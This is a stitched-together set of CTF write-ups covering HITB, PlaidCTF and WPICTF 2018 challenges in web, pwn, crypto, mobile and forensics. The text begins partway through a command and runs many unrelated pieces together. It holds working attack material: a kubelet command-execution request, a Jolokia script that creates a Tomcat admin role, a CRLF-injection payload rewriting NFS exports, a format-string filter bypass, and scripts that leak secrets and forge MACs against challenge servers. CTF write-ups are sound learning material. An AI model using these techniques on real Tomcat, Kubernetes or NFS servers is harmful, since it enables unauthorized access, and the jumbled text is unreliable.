https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d 'cmd=cat /flag.txt'` The flag is `HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}`. (The acronym of kubernetes is k8s) ### baby nya (bookgin) The hint: `the tomcat deployed jolokia.war` #### Exposed Jserv protocol 2 ports are open: - 8009: ajp13 Apache Jserv- 9999: nginx HTTP The 9999 port will only return `<h1>debug port for admin, you can just ignore the port.</h1>`. We trust him so we didn't dig it deeper. For the 8089 port, it exposes the Jserv protocol, we can set up a apache as a local proxy server to coonect tot the remote webserver. Refer to https://highon.coffee/blog/sleepy-ctf-walkthrough/#apache-tomcat-jserv-proxy-setup . A quick dive into the webserver, we found the jolokia API can be used. For the document, refer to https://jolokia.org/reference/html/protocol.html . #### Exploit the jolokia Refer to https://paper.seebug.org/552/ - List APIs : `/jolokia/list`- CreateAdmin Account and login: POST 3 jsons requests, Here is the script. You can use curl to send json request as well.```#!/usr/bin/env python3# Python 3.6.4import requestsimport jsonsess = requests.session() payload = { 'type':'EXEC', "mbean": "Users:database=UserDatabase,type=User,username=\"taiwannoooo1\"", #'mbean':'Users:database=UserDatabase,type=UserDatabase', 'operation':'addRole', #'arguments':['manager-gui'], 'arguments':['taiwannoooo1', 'TAIWAN', 'i_love_taiwan'],} response = sess.post('http://MY_SERVER_IP/jolokia', json=payload) response_json = json.loads(response.text)response_json = json.dumps(response_json, indent=2, sort_keys=True)print(response_json)print(response.status_code)```- Login to admin interface: `/manager/` The flag is displayed in the manager interace. `HITB{TOMCAT_TOMCAT_KAWAII}` ### baby fs (unsolved, written by bookgin, thanks to the organizer QQ group) **This writeup is from organizer QQ group (not IRC).** - The parameters: ip, permission, squash, path- Problem name: baby fs- HTML title: CFS With the knowledge above, one should know it's a NFS server. The page seems to update `/etc/exports` per key. Then, the ip parameter can accpeted ip range `1.2.3.4/24`, and it seems vulnerable to CRLF injection. The payload is `http://47.75.35.123:9999/?action=create&key=8ce29e523ed35f49c7eb38b63c91f269&ip=140.112.0.0%0A/%20*&permission=rw&squash=no_root_squash`. Then, listing the root directory through `http://47.75.35.123:9999/?action=list&key=8ce29e523ed35f49c7eb38b63c91f269&path=/` shows the flag. The flag is `HITB{---->}!}<0>cccc}`. I think this challenge requires some guessing. Until the competition ends, icchy (Tokyo westerns) is the only one who solves this challenge. Additionally, they solve it very quickly after the challenge releases. Congraz to them. They definitely have brorder knowledge! Update: According to Tokey Westerns' writeup, this problem seems to provide an output with more details when the organizer first releases the challenge, `/data/k989ug3pzj 127.0.0.1(rw,all_squash)`. However, the organizer seems to update this challenge during the competition. The output becomes `/data/k989ug3pzj`, which is less informational. I think the hint in the problem `bug fixed of baby fs on creating directory` explains this. They acctually "fixed" a hint. I don't think it's fair. ### 3pigs (unsolved, written by how2hack)#### Hint>1) this is web pwn>2) Go, I put everything there-----github>3) you can make the size of topchunk very small>4) https://github.com/thr33pigs/3pigs/tree/master/ctf>5) fix the flag #### Web Challenge? WutFaceYou can get the source code from the given Github link.The webserver using Flask(Python) as backend and connect to another server (which is the 3pigs binary).The vulnerabilities basically not related to web so I think the first hint make sense. >_>User uses this website to make actions and the webserver will communicate with the binary server and return the given responses to the user. #### First stage (Misc)Before checking the binary, I noticed that there is a kind of "flying pig" that needs a special `secret` code to be able to make it online.```[email protected]('/flypig.php', methods=['POST'])def flypig(): if not isadmin(session): return alert("Not Login!") try: secret = request.form.get('secret',None) secret = secret.decode("base64")[:0xc0] useflypig = getb(session).getpigs()[-1].status for i in 'UOTp%I()<>S': if i in secret: return 'Hacker' secret = secret.format("") except: return 'Input Error' ret = getb(session).flypig(secret,useflypig) if secret else "No Secret" if ret == 'Time Out': logout() return ret else: return ret```And from the binary, there is a `flypig()` function:```Cvoid flypig() { puts("secret:"); read_n_input(s1, 9); if ( unk_203090 || strncmp(s1, "UOTp%I<S", 8uLL) ) { puts("Error_4"); } else { unk_203088 = malloc(0x70uLL); unk_203090 = 1; puts("Success"); }}```Obviously, the `secret` code is `UOTp%I<S`.However, the webserver filtered all these characters, which means you can't use this function at all! (really?) #### Python Format String VulnerabilityI was wondering why `secret = secret.format("")` is in the code, so I try to Google it and I found http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ about danger of Python Format String function, pretty interesting...The idea is, we can use the attribute of python `str` and also the format string feature to create the `secret` code.```>>> dir('')['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] >>> ''.__doc__"str(object='') -> string\n\nReturn a nice string representation of the object.\nIf the argument is a string, the return value is the same object." >>> ''.__doc__[77]'I'```Basically all the attribute itself has `__doc__`, so try to find every characters you need from `str` attributes. ```>>> secret = '{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}'>>> secret.format('')'UOTp%I<S'``` Payload: `{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}` #### Second stage (Pwn)``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```There are 5 functions:1. Add a pig (`malloc(0xc8)`, max=3)2. Free a pig (`free(pig)`, and set pointer to `'\0'`)3. Get pigs (Print out the info of all pigs)4. Flypig (A special pig that need a `secret` code, `malloc(0x70)`, can only use once, cannot be freed)5. Flying (Give "Flypig" 16 bytes data, can only use once) The structure of a normal pig:```+----------------+----------------+ <- current| | size(0xd0) |+----------------+----------------+| pig_name | (unused) |+----------------+----------------+| || data (0xb8) || || +----------------+ <- next | | topchunk_size |+----------------+----------------+``` #### Vulnerability* one-byte-off```Cvoid read_input(char* buf, int num) { v3 = read(0, buf, num); if ( v3 <= 0 ) { puts("Error_0"); exit(0); } if ( buf[v3 - 1] == '\n' ) buf[v3 - 1] = '\0'; else buf[v3] = '\0';}```From the read_input function, if we read `num` chars, then it will trigger one-byte-off vulnerability. Basically we can use this to overwite `topchunk` size (as the hint said). * Flying pig (overwrite next chunk first 16 bytes data)```Cvoid flypig() { ... flypig_addr = malloc(0x70); ...} void flying() { ... read_input((char *)(flypig_addr + 0x80), 16); ...}```Just as the pig's name, this pig can "fly" to next chunk and overwrite first 16 bytes (17 if one-byte-off) of the data. Can use this to overwrite freed `fd` and `bk`. ```+----------------+----------------+ <- flypig| | size(0x80) |+----------------+----------------+| || unused data (0x70) || |+----------------+----------------+ <- freed chunk | | size |+----------------+----------------+ <- flying() input| fd | bk |+----------------+----------------+``` #### Solution...? * Leak libc address There are 3 different pigs `Ke Gua`, `Red Boy`, `Small Li`.The `addpig()` function will use `strncpy(buf, pig_name, pig_name_len)` to copy pig's name to `pig_name`.Notice that `Small Li` is 8 bytes, so if we add this pig, we can leak the freed chunk `bk` pointer as no null byte will append after calling `strncpy`, then we can calculate libc address. * Leak heap address Using the one-byte-off vulnerability, we can overwrite the `top_chunk` size and caused `sysmalloc` to create a new heap.Then use the same method above to leak heap address. * ... I was unable to solve this challenge in time as I couldn't find a way to exploit. So close.... ## crypto ### easy\_block (sasdf)#### Vulnerability* We have a service to compute mac for any plaintext. ```python # must be delete! elif choice[0] == 'c': un = input('your username:>>') un = bytes(un, 'ISO-8859-1') print(sha256(mac_key + un).digest().hex()) ```* Unpad function doesn't check for valid padding that can trim more than 16 bytes. ```python def unpad(s): return s[0:-s[-1]] ```* Leak 17 bytes of decrypted message. ```python sha256(mac_key + plaintext).digest().hex()[-64:-30] ```* It check last 31.5 bytes of mac instead of whole string ```python sha256(mac_key + plaintext).digest().hex()[-63:] == hash.hex()[-63:] ``` #### Construct payloadSend `admin` as username, and we will get encrypted data of `adminuser`, modify the padding and trim off the suffix `user`. Use second and third blocks to construct a (48 - 5) bytes padding to avoid being affected by initial vector. #### Construct hashUse subroutine `c` to compute target hash. The initial vector is shared between payload and hash, we cannot modify the first 5 bytes because it will change our plaintext. Fortunately, padded message of hash is (32 + 16) bytes, and only last 31.5 bytes after unpad will be verified. So we can use ciphertext of `[5 bytes garbage][32 bytes hash]` as our mac, left first 5 bytes of initial vector unchanged. The ciphertext is constructed by xor previous block with desired plaintext and decrypted plaintext. ### easy\_pub (sasdf)```pythonbytes_to_long(b'\x00\xff') == bytes_to_long(b'\xff') == 255long_to_bytes(bytes_to_long(b'\x00\xff')) == b'\xff'```If we register with empty username, it will give us secret `admin_k` when we login. DONE. ### streamgamex (sasdf)Use first 24 bits of output as state. Run in reverse direction to get lower 24 bits of initial state (i.e. flag). Bruteforce first 17 bits that satisfy sha256 given in hint.```pythonmask = 0b10110110110011010111001101011010101011011for _ in range(24): lastbit = state & 1 state >>= 1 i = (state & mask) while i!=0: lastbit^=(i&1) i=i>>1 state|=(lastbit<<23) print('State: %s' % bin(state)[2:].rjust(24, '0'))state = bin(state)[2:].rjust(24, '0')``` ### base (how2hack)This challenge let user input one string and output the "encoded" string.Our goal is to decode the given string, which is the flag: `2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=` From the challenge name, I quickly think of base64 and other similar encoding algorithm. However I can't really tell how it works as it encodes the string totally different as the usual one. I try to spam some string and see what I can get, and I think Brute Forcing may help. Note: I try to scan through all the ASCII (256 possibilities), but after some tries I noted that the flag is only contains hex (16 possibilities). Here is the script how I attempt to brute force:```pythonflag = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='possibilities = range(0x30, 0x3a) # 0-9possibilities.extend(range(0x61, 0x67)) # a-fchoose = ''while True: print flag for i in possibilities: r.sendline(choose+chr(i)) print r.recvline().strip() choose = raw_input().strip()``` Flag: `HITB{5869616f6d6f40466c61707079506967}` ```>>> '5869616f6d6f40466c61707079506967'.decode('hex')'Xiaomo@FlappyPig'```Hi Xiaomo :)... ## mobile ### kivy simple (sces60107) First I extract the `classes.dex` and try analyse the code. Eventually I found that this apk is using python. The python script is hidden in the `private.mp3` Though the scripts is compiled, you can use `uncompyle2`. Now we have the main.py```python=from kivy.uix.popup import Popupfrom kivy.app import Appfrom kivy.uix.label import Labelfrom kivy.uix.textinput import TextInputfrom kivy.uix.button import Buttonfrom kivy.uix.boxlayout import BoxLayoutimport binasciiimport marshalimport zlib class LoginScreen(BoxLayout): def __init__(self, **kwargs): super(LoginScreen, self).__init__(**kwargs) self.orientation = 'vertical' self.add_widget(Label(text='FLAG')) self.flag = TextInput(hint_text='FLAG HERE', multiline=False) self.add_widget(self.flag) self.hello = Button(text='CHECK') self.hello.bind(on_press=self.auth) self.add_widget(self.hello) def check(self): if self.flag.text == 'HITB{this_is_not_flag}': return True return False def auth(self, instance): if self.check(): s = 'Congratulations you got the flag' else: s = 'Wrong answer' popup = Popup(title='result', content=Label(text=s), auto_dismiss=True) popup.open() screen = LoginScreen()b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64)))) class MyApp(App): def build(self): return screen app = MyApp()app.run() ``` There is a second stage. But it is not difficult to understand. The following is the script to extract flag ```python=import zlibimport marshalimport disb64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'a=marshal.loads(zlib.decompress((b64).decode("base64"))) flag=["?"]*50 # initialize flag stringn=a.co_consts[0].co_consts # the const contains flag byte and index bytecode=a.co_consts[0].co_code[34:] # extract useful bytecode # Now we can reconstruct the flagwhile code.find("|\x01\x00d")!=-1: pos=code.find("|\x01\x00d") code=code[pos:] i=ord(code[4]) j=ord(code[8]) #the first is index, the second is flag flag[n[i]]=n[j] code=code[1:]print "".join(flag) ```The flag is `HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}`### multicheck (sasdf)Extract `claz.dex` from `lib/libcheck.so` by xor with increasing byte stream started with 233 (i.e. i=233; i++). Run the inverse of algorithm in `claz.dex` to uncover input string.```pythondef decBlock(a, b): i5 = np.int32(0) for _ in range(32): i5 -= np.int32(1640531527) for _ in range(32): b -= (((a << np.int32(4)) + coeff[2]) ^ (a + i5)) ^ ((a >> np.int32(5)) + coeff[3]) a -= (((b << np.int32(4)) + coeff[0]) ^ (b + i5)) ^ ((b >> np.int32(5)) + coeff[1]) i5 += np.int32(1640531527) return int(a), int(b)```
tl;dr1) The most significant bit of all characters in the text is 0.2) Perhaps "the" is one of the most common 3-letter pattern in the text.3) Every "the" is likely to have a space before and after.4) Plus a bit of guessing and luck :)
The server runs an interpreter for a toy language. The language is similar a subset of ML, restricted to expressions involving only the types `int` and `bool`, with various syntactic restrictions and only a few predefined operators. You can only execute a single expression per session. You can define functions, but not recursive ones, and there are no loops either. In addition to ML features, the language has a taint mechanism. Every expression has a secrecy level in addition to its type: public or private. The `flag` variable is private. The interpreter only prints the value of public expressions. Generally speaking, if an expression involves any private value, its result is private. The flaw in this interpreter is a classic one: the secrecy of an if-then-else expression depends only on the type of the return expressions, and not on the type of the condition. This allows leaking data one bit at a time. The flag is encoded as an integer by taking the string's binary representation. We know from `run.sml` that the flag length is 36 bytes. The following function takes an argument of the form 2^k and returns 2^k if the flag has bit k set and 0 otherwise. fn (b : int) => if flag / b % 2 = 1 then b else 0 We should be able to get the flag by calling this function 36\*8 times and summing up the result. python -c 'print("let t = fn (b : int) => if flag / b % 2 = 1 then b else 0 in t " + " + t ".join([str(1 << i) for i in range(8*6)]))' | nc wolf.chal.pwning.xxx 6808 However this times out. We need to be more clever. Let's avoid divisions by starting from the highest bit and subtracting in sequence. To make the expression shorter, we use references to keep the current value. This still doesn't work though. python -c 'print("let secret = ref flag in let leaked = ref 0 in let t = fn (b : int) => if !secret < b then () else (secret := !secret - b; leaked := !leaked + b) in t " + "; t ".join(reversed([str(1 << i) for i in range(8*36)])) + "; !leaked")' | nc wolf.chal.pwning.xxx 6808 Out of memory with fixed heap size 16,777,216 I didn't find a way to get the whole flag in a single connection. I settled for extracting one byte at a time. #!/usr/bin/env python3 import os, re, subprocess, sys def get_byte(cmd, k): expr = ''' let secret = ref (flag / {} % 256) in let leaked = ref 0 in let test = fn (bit : int) => ( if !secret < bit then () else (secret := !secret - bit; leaked := !leaked + bit) ) in test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1; !leaked'''.format(1 << (k * 8)) p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE) output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii') return(int(output.split()[0])) def get_flag(cmd): values = [get_byte(sys.argv[1:], k) for k in range(36)] return bytes(reversed(values)).decode('ascii') if __name__ == '__main__': print(get_flag(sys.argv[1:])) Let's run this. $ ../hiss.py ./wolf-lang PCTF{NOT_REAL!:o_Run_on_the_server!} $ ../hiss.py nc wolf.chal.pwning.xxx 6808 PCTF{0of_0uch_0wi3_my_IF_$t4t3m3n7s}
# WPICTF 2018: Dance **Category:** Web (?)**Points:** 150 > https://dance.wpictf.xyz> > by binam> ## Write-up When accessing the URL using a standard browser, it will redirect to a classic youtube link: [Link](https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s) Not much to work with right now. Considering it is web, I didnt really look at the video much (it was also the original). The first thing I decided to look at was what was being sent so I used [Fiddler](https://www.telerik.com/fiddler) to help me out here. The WebView of the site doesnt reveal anything but that it should be redirected to the link mentioned already. Looking into the header I see that some Cookies were set: ![](./Hex_Dance.png) **flag=e1ksn2ssktocg2aev3wduqaoj24fm19xvgmommsoh3suheaug2wxhdusif5wigw9mzx=** **Julius C.="got good dance moves."** Wow. This seems too easy to be true. That *flag* seems like it is a base64 encoded string, so I tried decoding it right away. To my somehow enjoyment it didnt work, so I assumed there is a layer on top of it. The other cookie seem like a clue. I noticed right away that it is probably talking about Julius *Caesar*, leading me to believe that the encoded string probably was shifted. The question at this point was, it was shifted, but *by how much?* After a while looking for anything within the site, I noticed that the link given had a time where it started at **9 seconds**. I took that as the sign I needed if this was going to work, and used Caesar Cipher to try and shift it back to the original and then decode it with base64. ![](./Decode_Dance.png) **WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}**
The persons need to get the food and go to the party city. Since the graph is undirection, we can take it as from the food cities to reach each person and party cities. So totally two steps.1) get num_person of shortest path data using Dijkastra alg. Sources are food cities. I run num_person times of Dijkastra with no destination.2) get shortest time for people to get foods. It's classical assignmen problem. Hungrian alg is the choice. For python, I use scipy.optimize.linear_sum_assignment which is pretty good. The final step is enumerate each city and calculate time to go to food cities. The city with least time is the one. I could use the alg to reach around 40 queries, then step 1 takes too much time because of too many persons and roads. Then I use ThreadPool, it could 50s even futhur but still far from 141 queries. Step 1 needs further optimization.
This is Pupper with the if flaw fixed. This doesn't mean that the taint checker is sound, though. As a rule, it's hard to do anything fancy with types when you have both side effects and functions. So let's look for a flaw around those lines. The taint checker now requires that an if statement with a private condition has branches of private type. Furthermore it analyzes the content of if branches to verify that they don't modify public references. So you can't leak data just by putting `leaked := 1 :> private unit` in a branch. But the public reference checker doesn't analyze functions. So all we need to do to hide the leak is to put it inside a function that happens to have a private type. This flaw will remain as long as the type of an assignment is a bare `unit` regardless of the secrecy of the values involved, or as long as you can hide any assignment behind a semicolon. Here's the byte extractor script with a modified expression to extract bits: #!/usr/bin/env python3 import os, re, subprocess, sys def get_byte(cmd, k): expr = ''' let secret = ref (flag / {} % 256) in let leaked = ref 0 in let ignore = (fn (bit : int) => () :> private unit) :> private (int -> private unit) in let incr = (fn (bit : int) => (secret := !secret - bit; leaked := !leaked + bit) :> private unit) :> private (int -> private unit) in let test = fn (bit : int) => ( (if !secret < bit then ignore else incr) bit ) in test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1; !leaked'''.format(1 << (k * 8)) p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE) output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii') if p.returncode != 0: print('Error with the expression\n{}'.format(expr)) print(output) exit(1) return(int(output.split()[0])) def get_flag(cmd): values = [get_byte(sys.argv[1:], k) for k in range(36)] return bytes(reversed(values)).decode('ascii') if __name__ == '__main__': print(get_flag(sys.argv[1:])) And we run it: $ ../hiss.py nc wolf.chal.pwning.xxx 4856 PCTF{$h0u1d_h4v3_f0rma11y_v3r1fi3d!}
`note` is a very good challenge to understand how we can exploit a `Off-By-One` bug where the program is using `scanf`. Basically, you can overwrite the `least significant byte (LSB)` of the `saved rbp` with a null byte, so you can control the stack frame for the following function calls.
This defines a custom MAC `fmac` as follows, given a message `m`, a key `k1` and a stream `S0`: * Append the length of `m` formatted as 16 bytes in big-endian order.* Append *b* = 1–16 copies of the byte *b* to pad the message to a multiple of 16 bytes.* Xor the padded message with `S0`.* Encrypt the result with AES-ECB with the key `k1`.* Xor all the resulting 16-byte blocks. The stream `S0` is derived from a 128-bit key `k0` by repeating a sequence of 128 128-bit blocks where block number `i` is calculated by rotating `k0` right by `i` bits. The MAC function operates by blocks. We don't know how each encrypted block is calculated, but we know that the result depends only on the content of that block in the message and on the block's index modulo 128. In particular, if a block is repeated at a 128*16=2048-byte interval, then the encrypted blocks will be identical. Since the MAC is a xor of all the encrypted blocks, these repeated blocks cancel out. We can also deduce the MAC of a message with xor equations. Suppose that `m1` contains some block `B1` at position `i`, and `m2` is the same message except that position `i` contains `B2`. Then `fmac(m1) xor fmac(m2)` depends only on `B1`, `B2` and `i` modulo 128, and not on the rest of the message. This MAC function is used in a remote shell where we can use the following commands: * `tag tag` or `tag echo`: calculate the `fmac` of the command line consisting of `tag` or `echo` and the given parameters, joined with a single space.* `pwd`, `cd`, `ls`, `cat`: the usual Unix commands, which require a valid `fmac`. `pwd` takes no parameters, the others take exactly one parameter. Null bytes are accepted in arguments but not in file names. Whitespace (spaces and bytes 0x09–0x0d) cannot appear in parameters. Example: to list the current directory, we can run the command `ls .`, which is padded to the two blocks `ls .000000000000`, `0004CCCCCCCCCCCC` where `0`, `4` and `C` are the characters 0x00, 0x04 and 0x0c respectively. To calculate its MAC, we need to craft a message starting with `tag` and a space (or `echo` and a space), containing blocks that will cancel out, and containing the two blocks of the `ls` command at positions 128 and 129 (or 256 and 257, etc.). Since we can't pass bytes 0x09–0x0d in parameters, we need to fiddle with the length of the command to avoid those bytes both in the encoding of the length and in the padding. The following command lengths are admissible: 0–2, 8, 14–18, 24–31, 33, 34, 40–50, 56–66, etc. We can always make a command (other than `pwd`) longer by adding more slashes in a file name (or prepending `./` if it doesn't contain a slash). For example, instead of `ls .`, we can use `ls .////`. Given a command `cmd` of admissible length that is less than 2032 bytes, we want the MAC of `cmd` at position 0. Query the tags of the following messages: * `tag AAA…` where `AAA…` has the same length as `cmd`.* `tag BBB…B` of length 2048 bytes, then `cmd` followed by its length padding.* `tag BBB…B` of length 2048 bytes, then `tag AAA…` followed by its length padding (which is the same as `cmd`'s). The xor of these three tags is the tag of `cmd`. The following program takes a command line as argument, calculates its MAC by sending `tag` commands as described above, and finally runs the command. #!/usr/bin/env python3 import os, re, subprocess, sys import pexpect from pexpect import popen_spawn from fmac import to_blocks, fmac # A tag command with the same length as cmdline def tag_cmd(cmdline): return b'tag ' + b'A' * (len(cmdline) - 4) # A tag command containing the padded cmdline at position 2048 def expand_cmd(cmdline): return b'tag ' + b'B' * 2044 + b''.join(to_blocks(cmdline)) # Send tag<|>cmdline def send(session, tag, cmdline): session.sendline(tag.encode('utf-8') + b'<|>' + cmdline) # Receive input up to a prompt def receive(session): session.expect(r'\|\$\|> ') return session.before def find_mac(session, cmdline): receive(session) send(session, '', b'tag ' + tag_cmd(cmdline)) mac1 = int(receive(session), 16) send(session, '', b'tag ' + expand_cmd(cmdline)) mac2 = int(receive(session), 16) send(session, '', b'tag ' + expand_cmd(tag_cmd(cmdline))) mac3 = int(receive(session), 16) return hex((mac1 ^ mac2 ^ mac3) | 1 << 128)[3:] def interact(server, cmdline): session = pexpect.popen_spawn.PopenSpawn(server) mac = find_mac(session, cmdline) send(session, mac, cmdline) sys.stdout.buffer.write(receive(session)) if __name__ == '__main__': interact(sys.argv[1], ' '.join(sys.argv[2:]).encode('utf-8')) Let's see it in action. $ ./solve.py 'nc macsh.chal.pwning.xxx 64791' ls .//// __pycache__ flag.txt fmac.py macsh.py .bashrc .bash_logout .profile $ ./solve.py 'nc macsh.chal.pwning.xxx 64791' cat flag.txt PCTF{fmac_is_busted_use_PMAC_instead}
In `PlaidCTF 2018 - shop` challenge, there is a `buffer overflow` vulnerability that allows us to leak `heap` and `libc` base addresses. Finally, we can overwrite `put@GOT` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries.
`return-to-csu: A New Method to Bypass 64-bit Linux ASLR` BlackHat talk is a must-read (https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf). There are two useful gadgets in all the binaries that are not being reported by ROP tools such as `ropper2`.
# Plaid CTF 2018 - Task "Messy Desk" ## Extracting the QR code In this task we are given a fragment of video from a surveillance camera,pointing to a messy desk. The only interesting thing in the video is areflection of a QR code on the glass/plastic surface of a sphere. It's acurved and quite small reflection, less than 100 pixels wide, as you cansee here in a crop of a video frame in its original resolution: ![](qr-original.png) After flipping, scaling and transforming it into a (more or less) square,this is what we got: ![](qr-work.png) Not very promising... Obviously, this wouldn't be detected by any QR codereader, so we decided to manually build a new QR code from the scratchbased on it, but with enough quality to be parsed by readers. ## Manually building the QR code Of course the main problem is determining which pixels are black and whiteon the original image, as the resolution is very low, especially on thebottom right corner. But looking carefully we can tell many pixels apart,mostly those that are alone or forming a line (while those forming a clusterare more difficult to separate). Thanks to this, we can infer it's a version2 QR (25x25). We also have information about how all QR codes are formatted. Thanks tothe excellent [QR code tutorial at Thonky.com](https://www.thonky.com/qr-code-tutorial/),(from where the next two images have been taken), we can fix the positionof some pixels, helping also to fix other pixels in the vicinity: ![Taken from QR tutorial at Thonky.com](function-patterns2.png) But especially important is the format string, a 15-bit length sequence(5 bit of data + 10 bit for error correction) that determines the errorcorrection level for the QR code and the applied mask pattern: ![Taken from QR tutorial at Thonky.com](format-layout.png) Looking at the [table of possible values](https://www.thonky.com/qr-code-tutorial/format-version-tables),for the format string we can quickly see that the best matchingsequence is 011000001101000, corresponding to ECC level Q (thatallows to recover 25% of data, very useful for this problem), andthe pattern mask 1 (there are several masks that help QR codes tobe easier to read) All of this lead to our first version of the reconstructedQR code: ![](qr-reconstructed-v1.png) But it didn't work :D In spite of several attempts with small changesto some doubtful bits, no QR code reader would consider it valid. ## Fixing the QR code to make it work What else could we do? From the analysis of the format stringwe learnt that the QR code uses pattern mask 1, meaning thateven rows are inverted. Thanks again to the QR tutorial we could learn [how bits are placed](https://www.thonky.com/qr-code-tutorial/module-placement-matrix)in a QR code, and applying the pattern mask we could decodethe first two columns, obtaining this: ```0100 meaning data is in byte format00010010 the code has 18 characters (it's actually 19)01010100 T01000010 B11000100 D (assuming first bit is incorrect)01000110 F00111011 ;01111010 z00110000 0``` `TBDF;z0`? What a crappy way to start a flag... But we have to take intoaccount that the code starts from the bottom right corner, where resolutionis lower and it's easier to make a mistake. But thankfully we knew that all flags begin with "PCTF{", so wecould just fix the pixels to match this sequence. It was nota big deal, as only 5 pixels were affected. This is the result: ![](qr-reconstructed-v2.png) The plan was to go on and verify if the remaining characters of the flagkept making sense, but... it worked!!! QR code readers would read thefull flag from that QR code: `PCTF{z0oo0m_nh4nc3}` Probably there were some more bits that were wrong in theremaining QR code, but the error correction bits were now enoughfor the QR readers to completely rebuild the original message, sothere was no need to recover perfectly the original QR code.
Thanks to the crbug url we can find the bug regression test. After analysing poc we deduce we can have two Arrays with JS Elements to the same addr (size > 0) which is an amazing property. So we can leak and prepare a fake ArrayBuffer. the next steps:1. leaking a function add.2. leaking JIT addr.3. Writing shellcode.4. Pwn!
This challenge has a `stack overflow` vulnerability, by which you can overwrite the return address. Then, using `return oriented programing (ROP)`, you are able to spawn `/bin/sh`.
